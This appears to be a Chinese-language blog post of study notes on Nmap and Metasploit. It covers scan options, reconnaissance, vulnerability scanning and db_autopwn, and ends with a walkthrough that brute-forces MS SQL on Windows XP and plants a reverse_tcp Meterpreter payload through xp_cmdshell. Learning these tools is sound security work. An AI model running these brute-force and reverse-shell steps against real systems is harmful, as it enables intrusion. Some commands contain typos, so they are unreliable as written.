1. 1. 渗透测试工具学习(一)
    1. 1.1. Reference
    2. 1.2. 1. Nmap
      1. 1.2.1. 参数选择
      2. 1.2.2. POC
      3. 1.2.3. 选项总览[线下备用]
      4. 1.2.4. 端口扫描
    3. 1.3. 2. Metasploit
      1. 1.3.1. 2.1 一次简单的使用流程
        1. 1.3.1.1. 启动MSF
        2. 1.3.1.2. 搜索漏洞
        3. 1.3.1.3. 选择漏洞利用exp
        4. 1.3.1.4. 设置攻击载荷(Payload)
        5. 1.3.1.5. 设置攻击选项
        6. 1.3.1.6. 开始攻击
        7. 1.3.1.7. 建立会话
      2. 1.3.2. 2.2 一些组件
        1. 1.3.2.1. Payload生成器
        2. 1.3.2.2. 数据库子系统
      3. 1.3.3. 2.3 情报搜集
        1. 1.3.3.1. 被动信息搜集(Passive Information Gathering)
          1. 1.3.3.1.1. whois
          2. 1.3.3.1.2. DNS 查询
        2. 1.3.3.2. 主动信息搜集(Positive information Gathering)
        3. 1.3.3.3. 针对性扫描
          1. 1.3.3.3.1. 服务器消息块协议扫描
          2. 1.3.3.3.2. Microsoft SQL Server扫描
          3. 1.3.3.3.3. SSH服务扫描
          4. 1.3.3.3.4. FTP扫描
          5. 1.3.3.3.5. SNMP(简单网管协议)扫描
          6. 1.3.3.3.6. 自制扫描器
      4. 1.3.4. 2.4 漏洞扫描
        1. 1.3.4.1. NeXpose
          1. 1.3.4.1.1. 生成报告导入MSF
          2. 1.3.4.1.2. 在MSF内使用NeXpose
        2. 1.3.4.2. Nessus
        3. 1.3.4.3. 专用漏洞扫描器
          1. 1.3.4.3.1. SMB Login check
          2. 1.3.4.3.2. VNC空口令扫描
          3. 1.3.4.3.3. X11服务器扫描
        4. 1.3.4.4. 利用扫描结果自动化攻击
      5. 1.3.5. 渗透测试执行标准
      6. 1.3.6. Exploit-db.com
      7. 1.3.7. 渗透攻击之旅
        1. 1.3.7.1. 常用命令
          1. 1.3.7.1.1. show exploits
          2. 1.3.7.1.2. show auxiliary
          3. 1.3.7.1.3. show options
          4. 1.3.7.1.4. show payloads
          5. 1.3.7.1.5. show targets
          6. 1.3.7.1.6. search
          7. 1.3.7.1.7. back
          8. 1.3.7.1.8. use
          9. 1.3.7.1.9. set & unset
          10. 1.3.7.1.10. setg & unsetg
          11. 1.3.7.1.11. save
          12. 1.3.7.1.12. info
        2. 1.3.7.2. Meterpreter
          1. 1.3.7.2.1. e.g. 攻击一台Windows XP
    4. 1.4.
      1. 1.4.1. 常用端口及服务
      2. 1.4.2.

渗透测试工具学习

渗透测试工具学习(一)

Reference

《Metasploit渗透测试指南》
https://xz.aliyun.com/t/2482

1. Nmap

参数选择

1
2
3
4
5
6
7
8
9
10
-sS 执行一次隐秘的svn握手包TCP/IP扫描,判断端口是否存活 (s表示Stealth,隐秘)
-sT 执行一次隐秘的TCP connect scan
-Pn 不通过ping来预先判断主机是否存活,这点在公网扫描很重要,因为公网主机很多禁止ping来判断其存活性
-A, to enable OS and version detection, script scanning, and traceroute
-T4, for faster execution(外网尽量不要用,使用TCP连接使用T2比较合适)
-sV, 识别服务指纹信息
-O, 开启操作系统探测的扫描功能
-F, Fast mode - Scan fewer ports than the default scan
-oX fileName, 输出为一个
-PO Treat all hosts as online -- skip host discover,即使用IP协议包的ping探测主机是否存活。

POC

1
2
3
4
5
# 识别主机信息
> nmap -sV -T4 -O -F --version-light xxxxxxxxx

# 获取远程多个主机的系统类型及开放端口:
> nmap -sS -P0 -sV -O 192.168.1.100-200

选项总览[线下备用]

具体参考:https://zhuanlan.zhihu.com/p/25612351

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
Can pass hostnames, IP addresses, networks, etc.
Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0-255.0-255.1-254
-iL <inputfilename>: Input from list of hosts/networks
-iR <num hosts>: Choose random targets
--exclude <host1[,host2][,host3],...>: Exclude hosts/networks
--excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
-sL: List Scan - simply list targets to scan
-sP: Ping Scan - go no further than determining if host is online
-P0: Treat all hosts as online -- skip host discovery
-PS/PA/PU [portlist]: TCP SYN/ACK or UDP discovery probes to given ports
-PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
-n/-R: Never do DNS resolution/Always resolve [default: sometimes resolve]
SCAN TECHNIQUES:
-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
-sN/sF/sX: TCP Null, FIN, and Xmas scans
--scanflags <flags>: Customize TCP scan flags
-sI <zombie host[:probeport]>: Idlescan
-sO: IP protocol scan
-b <ftp relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
-p <port ranges>: Only scan specified ports
Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080
-F: Fast - Scan only the ports listed in the nmap-services file)
-r: Scan ports consecutively - don't randomize
SERVICE/VERSION DETECTION:
-sV: Probe open ports to determine service/version info
--version-light: Limit to most likely probes for faster identification
--version-all: Try every single probe for version detection
--version-trace: Show detailed version scan activity (for debugging)
OS DETECTION:
-O: Enable OS detection
--osscan-limit: Limit OS detection to promising targets
--osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
-T[0-6]: Set timing template (higher is faster)
--min-hostgroup/max-hostgroup <msec>: Parallel host scan group sizes
--min-parallelism/max-parallelism <msec>: Probe parallelization
--min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <msec>: Specifies
probe round trip time.
--host-timeout <msec>: Give up on target after this long
--scan-delay/--max-scan-delay <msec>: Adjust delay between probes
FIREWALL/IDS EVASION AND SPOOFING:
-f; --mtu <val>: fragment packets (optionally w/given MTU)
-D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
-S <IP_Address>: Spoof source address
-e <iface>: Use specified interface
-g/--source-port <portnum>: Use given port number
--data-length <num>: Append random data to sent packets
--ttl <val>: Set IP time-to-live field
--spoof-mac <mac address, prefix, or vendor name>: Spoof your MAC address
OUTPUT:
-oN/-oX/-oS/-oG <file>: Output scan results in normal, XML, s|<rIpt kIddi3,
and Grepable format, respectively, to the given filename.
-oA <basename>: Output in the three major formats at once
-v: Increase verbosity level (use twice for more effect)
-d[level]: Set or increase debugging level (Up to 9 is meaningful)
--packet-trace: Show all packets sent and received
--iflist: Print host interfaces and routes (for debugging)
--append-output: Append to rather than clobber specified output files
--resume <filename>: Resume an aborted scan
--stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
--no-stylesheet: Prevent Nmap from associating XSL stylesheet w/XML output
MISC:
-6: Enable IPv6 scanning
-A: Enables OS detection and Version detection
--datadir <dirname>: Specify custom Nmap data file location
--send-eth/--send-ip: Send packets using raw ethernet frames or IP packets
--privileged: Assume that the user is fully privileged
-V: Print version number
-h: Print this help summary page.
EXAMPLES:
nmap -v -A scanme.nmap.org
nmap -v -sP 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -P0 -p 80

端口扫描

扫描主机开放的端口:

1
> nmap -sT -v xxx.xxx.xxx.xxx

详细显示,syn探测,高速扫描,系统和服务版本信息,脚本扫描和路由跟踪:

1
> nmap -v -sS -A -T4 target

-sT表示tcp端口扫描(完整三次握手),-v表示显示详细信息

2. Metasploit

2.1 一次简单的使用流程

启动MSF

1
> msfconsole

搜索漏洞

1
> search wordpress

选择漏洞利用exp

1
use xxx

设置攻击载荷(Payload)

1
2
# 'show options' means showing the advandce options to custom. e.g.
> msf exploit(windows/mysql/mysql_mof) > show options

设置攻击选项

1
2
# set the information about the exploit process. e.g.
> set RHOST 115.28.xxx.xxx

开始攻击

1
2
# Exploit it!
> exploit

建立会话

1
2
3
4
5
6
# 列出所有会话
> sessions -l
# 进入1号会话
> sessions –i 1
# 查询攻击者的身份
> getuid

2.2 一些组件

Payload生成器

1
2
3
4
# msfpayload已被弃用
> msfpayload -h
# 现使用msfvenom
> msfvenom -h

数据库子系统

可创建数据库子系统,用于存储测试过程中的数据。支持Postgre SQL,MySQL,SQLite3数据库。

//TODO

https://blog.csdn.net/FunkyPants/article/details/78483792

2.3 情报搜集

记录的详细与否是一次渗透测试成败的关键点

被动信息搜集(Passive Information Gathering)

这里的主动与被动所指的是,是不是与目标主机直接进行交互。如果不是直接进行交互,例如使用Shodan查询,这些就是被动信息搜集(我们利用网络上其他“人”提供给我们的信息,因此我们是被动获取信息的)。相反地,与目标服务器直接进行交互,例如使用Nmap进行扫描,就是主动的信息搜集了。

whois

确定网络资产所有者的相关信息

DNS 查询
  1. netlookup
    终端工具,可以直接查看域名对应的IP信息

主动信息搜集(Positive information Gathering)

  1. 使用Nmap

上文👆

  1. 框架提供的扫描工具
    1
    2
    3
    4
    5
    msf > search portscan
    # 使用syn扫描器(TCP/IP握手包)
    msf > use scanner/portscan/syn
    msf > set...
    msf > run

针对性扫描

服务器消息块协议扫描

利用Microsoft制定的网络通讯协议中表示块中的SMB(服务器信息块协议),遍历网络,获取Windows系统版本号。

1
2
3
msf > use scanner/smb/smb_version
msf > set...
msf > run
Microsoft SQL Server扫描
1
2
msf > use scanner/mssql/mssql_ping
...
SSH服务扫描
1
2
msf > use scanner/ssh/ssh_version
...
FTP扫描
1
2
msf > use scanner/ftp/ftp_version
...
SNMP(简单网管协议)扫描
1
2
msf > use scanner/snmp/snmp_login
...
自制扫描器

2.4 漏洞扫描

NeXpose

Rapid7公司的一款漏洞扫描产品,有社区免费版。可使用Web端图形化显示(localhost:3780),也可使用MSF终端启动。

生成报告导入MSF

创建一个新数据库(参见上文),使用db_connect连接,使用db_import导入XML格式的报告。使用db_hosts测试是否倒入成功。使用db_vulns查看导入漏洞的详细信息。

在MSF内使用NeXpose
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 删除现有库
msf > de_destory postgres:[email protected]/msf3
# 创建一个新库
msf > de_connect postgres:[email protected]/msf3
# 载入nexpose插件
msf > load nexpose
# 显示导入的nexpose的帮助
msf > help
# 第一次连接需要设置安装的nexpose实例
msf > nexpose_connect -h
...
# 扫描目标地址
msf > nexpose_scan xxx.xxx.xxx.xxx
# 扫描后,结果已存在数据库
msf > db_hosts -c address
msf > db_vulns

Nessus

默认端口为为8834,使用步骤与NeXpose相同👆

专用漏洞扫描器

SMB Login check

对Windows主机的用户名和口令进行破解。

1
2
msf > use auxiliary/scanner/smb/smb_login
msf > show options
VNC空口令扫描

VNC即虚拟网络计算,提供远程访问系统桌面的服务。新版本的VNC不再允许使用VNC,并且绝大多数情况会一无所获。但渗透环境是多样的,以及一个优秀的渗透测试工程师会对目标采取千方百计的手段。

1
2
msf > use auxiliary/scanner/vnc/vnc_none_auth
msf > show options
X11服务器扫描
1
2
3
msf > search x11
...
msf > use auxiliary/scanner/x11/open_x11

X系统用于处理包括鼠标和键盘在内的图形用户界面,我们可以结合Back|Track的xray工具对目标的键盘输入进行记录。

利用扫描结果自动化攻击

使用Metasploit的autopwn工具,根据漏洞扫描器的结果自动进行渗透攻击。

1
2
3
4
msf > db_connect portgres:[email protected]/msf3
msf > db_import your_nessues_export_file_path
msf > du_autopwn -e -t -r -x -p
...

使用db_autopwn命令后自动进行渗透攻击,其参数含义如下:
|argument|implication|
|— | —-|
|-e|对所有目标发起进攻|
|-t|显示所有匹配的模块|
|-r|利用反弹shell的payload|
|-x|根据漏洞选择攻击模块|
|-p|根据开放端口选择攻击模块|

后面会对该模块进行详细介绍。

渗透测试执行标准

Exploit-db.com

一个综合性的软件脆弱性和漏洞信息收集平台,它为软件开发者、安全漏洞研究人员、渗透测试者提供了大量的有关于各个操作系统、主流软件应用的脆弱性信息或漏洞利用程序

渗透攻击之旅

常用命令

show exploits
show auxiliary
show options
show payloads
show targets

根据关键词搜索攻击模块

back
use
set & unset

变量不必须为大写,但这是个好习惯

setg & unsetg

对全局参数进行设置或清楚

save

保存setg设置的全局变量,下次启动msfconsole时继续使用

info

Meterpreter

e.g. 攻击一台Windows XP
  1. 扫描端口服务
1
msf > nmap -sT -A -PO xxx.xxx

发现MS SQL服务

  1. 攻击MS SQL,TCP默认端口一般为1433,UDP默认端口为1434
1
2
msf > nmap -sU xxx.xxx -p1434
msf > use scanner/mssql/mssql_ping
  1. 暴力破解MS SQL
1
2
3
4
5
msf > use scanner/mssql/mssql_login
msf > show options
msf > set PASS_FILE /xxx/xxx/xxx.txt
...
msf > exploit

补充:Fast-Track工具

  1. 注入Meterpreter shell
    因为是XP系统,所以我们利用xp_cmdshell进行交互,进一步的思路是上传Meterpreter shell来更深入的渗透。
    方便的是,MSF已经含有一个模块,可以实现通过xp_cmdshell来植入任意Metasploit攻击载荷(如Meterpreter),过程如下:
1
2
3
4
5
6
7
8
msf > use windows/mssql/mssql_payload
msf > show options
# 设置自己选择的payload
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST //TODO
msf > set LPORT 443
...
msf > exploit

常用端口及服务

离线网站保存